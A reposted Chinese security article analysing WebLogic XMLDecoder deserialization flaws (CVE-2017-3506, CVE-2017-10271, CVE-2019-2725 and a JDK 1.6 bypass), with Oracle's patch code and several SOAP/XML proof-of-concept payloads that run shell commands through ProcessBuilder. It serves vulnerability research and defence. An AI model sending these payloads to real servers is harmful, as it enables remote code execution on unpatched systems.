转载

浅谈Weblogic反序列化——XMLDecoder的绕过史

从CVE-2017-3506为起点至今，weblogic接二连三的吧爆出了大量的反序列化漏洞，而这些反序列化漏洞的很大一部分，都是围绕着XMLDecoder的补丁与补丁的绕过展开的，所以笔者以CVE-2017-3506为起点，到近期的CVE-2019-2725及其绕过来谈一谈这两年weblogic在XMLDecoder上的缝缝补补。

认识XMLDecoder

首先去看一下XMLDecoder的官方文档，如下：

XMLDecoder 类用于读取使用 XMLEncoder 创建的 XML 文档，用途类似于 ObjectInputStream。例如，用户可以使用以下代码片段来读取以 XML 文档形式（通过 XMLEncoder 类写入）定义的第一个对象：

XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("Test.xml")));

Object result = d.readObject();

d.close();

作为一名java反序列化的研究人员，看到readObject()函数就应该带有一丝兴奋，至少代表我们找到入口了。

先不去管在weblogic上的利用，我们先构造一个特殊的poc.xml文件，让XMLDecoder去解析一下，看一下流程

<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
            <void index="0">
                <string>/bin/bash</string>
            </void>
            <void index="1">
                <string>-c</string>
            </void>
            <void index="2">
                <string>ls</string>
            </void>
        </array>
        <void method="start"/>
    </object>
</java>

再写一个简单的利用XMLDecoder解析xml文件的demo，

import java.beans.XMLDecoder;
import java.io.*;

public class Main {
    public static void main(String[] args) throws IOException, InterruptedException {
        File file = new File("poc.xml");
        XMLDecoder xd = null;
        try {
            xd = new XMLDecoder(new BufferedInputStream(new FileInputStream(file)));
        } catch (Exception e) {
            e.printStackTrace();
        }
        Object s2 = xd.readObject();
        xd.close();

    }
}

因为会触发命令执行，所以先直接在ProcessBuilder的start函数上打上断点，看一下调用栈，

浅谈Weblogic反序列化——XMLDecoder的绕过史

我们关注的重点在于从xml到ProcessBuilder类被实例化的过程，所以去跟进一下DocumentHandler类，我们去看几个核心函数，

首先看到了构造函数，看一看到为不同的标签定义了不同的Handler，

浅谈Weblogic反序列化——XMLDecoder的绕过史

再看一下startElement函数，它用来实例化对应的Element，并给当前handler设置Owner和Parent，关于Owner和Parent，直接引用@fnmsd写的内容：

parent

最外层标签的ElementHandler的parent为null，而后依次为上一级标签对应的ElementHandler。

owner

ElementHandler: 固定owner为所属DocumentHandler对象。

DocumentHandler: owner固定为所属XMLDecoder对象。

浅谈Weblogic反序列化——XMLDecoder的绕过史

然后看一下endElement函数，

浅谈Weblogic反序列化——XMLDecoder的绕过史

他会直接调用对应的ElementHandler的endElement函数，代码如下，

浅谈Weblogic反序列化——XMLDecoder的绕过史

接下来一连串的Handler的getValueObject调用之后，到达了ObjectElementHandler的getValueObject函数，并在该函数内将我们标签内的值传给了Expression类，

浅谈Weblogic反序列化——XMLDecoder的绕过史

在调用了getValue方法后，成功将ProcessBuilder类的实例返回，

浅谈Weblogic反序列化——XMLDecoder的绕过史

接下来再返回给VoidElementHandler将start函数传过来，调用start函数，命令执行成功。

浅谈Weblogic反序列化——XMLDecoder的绕过史

最后补上一张@ fnmsd给出的XMLDecoder解析xml的流程图以加深理解。

浅谈Weblogic反序列化——XMLDecoder的绕过史

CVE-2017-3506

上一节已经可以看到，XMLDecoder在解析xml的时候，通过构造特殊的xml文件是可以造成命令执行的，接下来我们就可以来看一下第一个weblogic由于XMLDEcoder导致的命令执行漏洞CVE-2017-3506。

先上POC，

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java>
                <object class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string> open /Applications/Calculator.app/</string>
                        </void>
                    </array>
                    <void method="start"/>
                </object>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

调用链我们只跟到XMLDecoder.readObject()，因为剩下的都是上一节的内容了，

浅谈Weblogic反序列化——XMLDecoder的绕过史

在processRequest函数中，会对传入的payload进行分割，把真正的xml交给readHeaderOld函数处理，

浅谈Weblogic反序列化——XMLDecoder的绕过史

readHeaderOld函数则是将真正的xml传给XMLDecoder，并在后续的一连串调用中将XMLDecoder实例化调用其readObject函数，于是便造成了命令执行。

浅谈Weblogic反序列化——XMLDecoder的绕过史

CVE-2017-10271

在CVE-2017-3506爆出后，我们去看一下官方的补丁，代码如下：

private void validate(InputStream is) {

      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();

      try {

         SAXParser parser = factory.newSAXParser();

         parser.parse(is, new DefaultHandler() {

            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {

               if(qName.equalsIgnoreCase("object")) {

                  throw new IllegalStateException("Invalid context type: object");

               }

            }

         });

      } catch (ParserConfigurationException var5) {

         throw new IllegalStateException("Parser Exception", var5);

      } catch (SAXException var6) {

         throw new IllegalStateException("Parser Exception", var6);

      } catch (IOException var7) {

         throw new IllegalStateException("Parser Exception", var7);

      }

   }

补丁非常的简单，一旦标签是object，系统报错，于是立马出了第二版的poc，CVE-2017-10271：

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java>
                <void class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string> open /Applications/Calculator.app/</string>
                        </void>
                    </array>
                    <void method="start"/>
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

乍一看这个poc，简直和CVE-2017-3506一模一样，唯一得到区别就是

仅仅是类的标签类型由object变成了void，我们去看一下VoidElementHandler的源码：

浅谈Weblogic反序列化——XMLDecoder的绕过史

可以看到VoidElementHandler是ObjectElementHandler类的子类，这也就解释了为什么把object标签换成Void标签也同样可以造成命令执行。

CVE-2019-2725

时隔一年多，CVE-2019-2725爆出，这次的漏洞是要分两块来看的，

新爆出的存在反序列化的组件_async
CVE-2017-10271的补丁被绕过

首先看第一点，在ProcessBuilder的start函数上打一个断点，先看一下async组件在处理xml时候的调用链（老规矩只追到XMLDecoder.readObject函数），

浅谈Weblogic反序列化——XMLDecoder的绕过史

引用廖大神的分析思路，请求会经过webservice注册的21个Handler来处理，看一下HandlerIterator类，就能发现对应的21个Handler，

浅谈Weblogic反序列化——XMLDecoder的绕过史

21个Handler里面AsyncResponseHandler应该是我们重点关注的那一个，跟进去看一下源码的handleRequest方法，

浅谈Weblogic反序列化——XMLDecoder的绕过史

可以看到要想让程序往下走，必须保证var2有值，也就是RelatesTo有值，这也就是为什么payload里面有

<wsa:Action>xx</wsa:Action>

<wsa:RelatesTo>xx</wsa:RelatesTo>

这两行的原因。

关于WS-Addressing的使用，也可以去参考官方文档（ https://www.w3.org/Submission/ws-addressing/ ），有助于深刻理解。

走过各种Handler后来到WorkAreaServerHandler，对xml进行了拆分，接下来的调用就和前面一样了（xml交给XMLDecoder，调用readObject方法），

浅谈Weblogic反序列化——XMLDecoder的绕过史

分析完async组件后，就来到了另一个问题上，如何绕过CVE-2017-10271的补丁，老套路，我们先看一下补丁内容，

private void validate(InputStream is) {

      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();

      try {

         SAXParser parser = factory.newSAXParser();

         parser.parse(is, new DefaultHandler() {

            private int overallarraylength = 0;

            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {

               if(qName.equalsIgnoreCase("object")) {

                  throw new IllegalStateException("Invalid element qName:object");

               } else if(qName.equalsIgnoreCase("new")) {

                  throw new IllegalStateException("Invalid element qName:new");

               } else if(qName.equalsIgnoreCase("method")) {

                  throw new IllegalStateException("Invalid element qName:method");

               } else {

                  if(qName.equalsIgnoreCase("void")) {

                     for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {

                        if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {

                           throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));

                        }

                     }

                  }

                  if(qName.equalsIgnoreCase("array")) {

                     String var9 = attributes.getValue("class");

                     if(var9 != null && !var9.equalsIgnoreCase("byte")) {

                        throw new IllegalStateException("The value of class attribute is not valid for array element.");

                     }

这次的补丁内容我们文字化一下：

禁用object、new、method标签
如果使用void标签，只能有index属性
如果使用array标签，且标签使用的是class属性，则它的值只能是byte

这次的补丁可以说是比上一次严格的多，前两点虽然很大程度上限制了我们不能随意生成对象，调用方法，但好在还有一个class标签可以使用，最关键的还在于第三点，它限制了我们的参数不能再是String类型，而只能是byte类型，所以我们的思路只能从这一点出发，整理一下思路，我们要寻找的是这样一个类：

他的成员变量是byte类型
在该类进行实例化的时候就能造成命令执行。

于是便有了oracle.toplink.internal.sessions.UnitOfWorkChangeSet来满足我们的需求。

看一下构造函数，该类会对传给它的byte值进行反序列化，可以看到这是一个标准的二次反序列化，于是满足二次反序列的payload应该都可以用，如AbstractPlatformTransactionManager、7u21等等。

浅谈Weblogic反序列化——XMLDecoder的绕过史

具体payload如下:

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void><array class="byte" length="8970">
                <void index="0">
                <byte>-84</byte>
                ...
                ...
            </array></void></class>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

关于二次反序列的原理不再一一分析，大佬们早已经给出了非常详尽的解释，有兴趣可以去廖大神的博客（ http://xxlegend.com）学习一下，也可以选择读一下ysoserial的7u21 模块代码就ok。

针对此次漏洞，官方给出的修复补丁处理比较简单，禁用class标签。

private void validate(InputStream is) {

   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();

   try {

      SAXParser parser = factory.newSAXParser();

      parser.parse(is, new DefaultHandler() {

         private int overallarraylength = 0;

         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {

            if (qName.equalsIgnoreCase("object")) {

               throw new IllegalStateException("Invalid element qName:object");

            } else if (qName.equalsIgnoreCase("class")) {

               throw new IllegalStateException("Invalid element qName:class");

            } else if (qName.equalsIgnoreCase("new")) {

               throw new IllegalStateException("Invalid element qName:new");

            } else if (qName.equalsIgnoreCase("method")) {

               throw new IllegalStateException("Invalid element qName:method");

            } else {

               if (qName.equalsIgnoreCase("void")) {

                  for(int i = 0; i < attributes.getLength(); ++i) {

                     if (!"index".equalsIgnoreCase(attributes.getQName(i))) {

                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(i));

                     }

                  }

               }

               if (qName.equalsIgnoreCase("array")) {

                  String attClass = attributes.getValue("class");

                  if (attClass != null && !attClass.equalsIgnoreCase("byte")) {

                     throw new IllegalStateException("The value of class attribute is not valid for array element.");

                  }

                  String lengthString = attributes.getValue("length");

                  if (lengthString != null) {

                     try {

                        int length = Integer.valueOf(lengthString);

                        if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {

                           throw new IllegalStateException("Exceed array length limitation");

                        }

                        this.overallarraylength += length;

                        if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {

                           throw new IllegalStateException("Exceed over all array limitation.");

                        }

不过7u21模块有一点要提一下，7u21模块利用的最后会通过将TemplatesImpl对象的_bytecodes变量动态生成为对象，于是该类的static block和构造函数便会自动执行，而这个类又是攻击者可以随便构造的，于是便造成了命令执行。

由于此次漏洞的payload是byte写的，而由于攻击利用类又是动态生成的，所以分析攻击者的代码是个比较麻烦的事情，所以下面给出如何将payload中攻击者代码还原出来的方法。

开启weblogic远程调试，并把断点打在ProcessBuilder类的start函数中（因为此时攻击类已经动态生成成功，但是没法直接在编译器里查看代码）

浅谈Weblogic反序列化——XMLDecoder的绕过史

使用jps -l命令查看weblogic的pid

浅谈Weblogic反序列化——XMLDecoder的绕过史

3、运行sudo java -cp $JAVA_HOME/lib/sa-jdi.jar sun.jvm.hotspot.HSDB命令查看对应PID的内存，

浅谈Weblogic反序列化——XMLDecoder的绕过史

4、搜索内存中的动态生成类，并生成class文件，反编译一下，就可以看到攻击者写的自定义类了。

浅谈Weblogic反序列化——XMLDecoder的绕过史

CVE-2019-2725绕过

最近网上又流传了CVE-2019-2725绕过的poc，如下：

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java>
                <array method="forName">
                    <string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>
                    <void>
                        <array class="byte" length="3748">
                            ...
                        </array>
                    </void>
                </array>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

刚拿到poc的时候，看了一下思路，因为<class>标签被禁了，所以通过

<array method=”forName”>来绕过补丁。思路是比较清晰的，通过Class.forName(classname)来取到我们想要的类，从而绕过class标签被禁的问题。

但刚看到这个poc的时候，我第一个疑问就是，array居然可以使用method属性吗？所以立马去看了一下ArrayElementHandler类的内容，

浅谈Weblogic反序列化——XMLDecoder的绕过史

只支持length标签，但是它是NewElementHandler的子类，那再去看看NewElementHandler

浅谈Weblogic反序列化——XMLDecoder的绕过史

支持class标签，但是它是ElementHandler的子类，再去看一下ElementHandler

浅谈Weblogic反序列化——XMLDecoder的绕过史

发现到最后也没找到它支持method属性。

马上去我自己的环境里面试一下，没法复现成功，一度以为这个poc是假的，但后来想了一下，我的环境里面只有1.7和1.8的jdk，会不会是jdk版本太高了，立马去1.6试一下，果然复现成功，看来1.6的XMLDecoder的代码和1.7/1.8不太一样。

浅谈Weblogic反序列化——XMLDecoder的绕过史

去跟进一下jdk 1.6的XMLDecoder，根据原理去写一个简单一点的poc.xml，测试demo继续使用第一章的就行

<?xml version="1.0" encoding="UTF-8"?>
<java>
    <array method="forName">
        <string>java.lang.ProcessBuilder</string>
        <void>
        <array class="java.lang.String" length="3">
            <void index="0">
                <string>/bin/bash</string>
            </void>
            <void index="1">
                <string>-c</string>
            </void>
            <void index="2">
                <string>open /Applications/Calculator.app/</string>
            </void>
        </array>
        <void method="start" />
        </void>
    </array>
</java>

发现jdk1.6的XMLDecoder代码简单很多，根本没有那么多的ElementHandler，直接统一放在ObjectHandler的代码里面处理。

而对标签的处理，也可以说是非常的朴实无华了，看一下startElement，

public void startElement(String var1, AttributeList var2) throws SAXException {
    ...

...

        String var8 = (String)var3.get("method");
        if (var8 == null && var6 == null) {
            var8 = "new";
        }

        var4.setMethodName(var8);
     ...

...
        } else if (var1 == "array") {
            var14 = (String)var3.get("class");
            Class var10 = var14 == null ? Object.class : this.classForName2(var14);
            var11 = (String)var3.get("length");
            if (var11 != null) {
                var4.setTarget(Array.class);
                var4.addArg(var10);
                var4.addArg(new Integer(var11));
            }

我这里只截取关键部分代码，首先可以看到代码根本不管你的标签是什么，只要有methond属性，那就算作你的方法名，并且如果你的标签是array标签，而有没有class属性，自动给你补一个Class，完美契合需求，所以就可以直接通过Class.forName来取到我们需要的类了。

这样也就绕过了对class标签的过滤，不过只能在1.6的jdk利用。

思考与总结

根据近些年weblogic由于XMLDecoder导致的反序列漏洞的缝缝补补中，可以看到虽然绕过的poc层出不穷，但是利用的范围却越来越窄，从一开始的所有jdk通用，到7u21以下可以利用成功，再到最近的绕过已经只能在1.6利用成功，可以看到，保持jdk版本的高版本可以有效的防范java反序列化攻击。与此同时，对于基本用不到的weblogic组件，还是能删就删为好。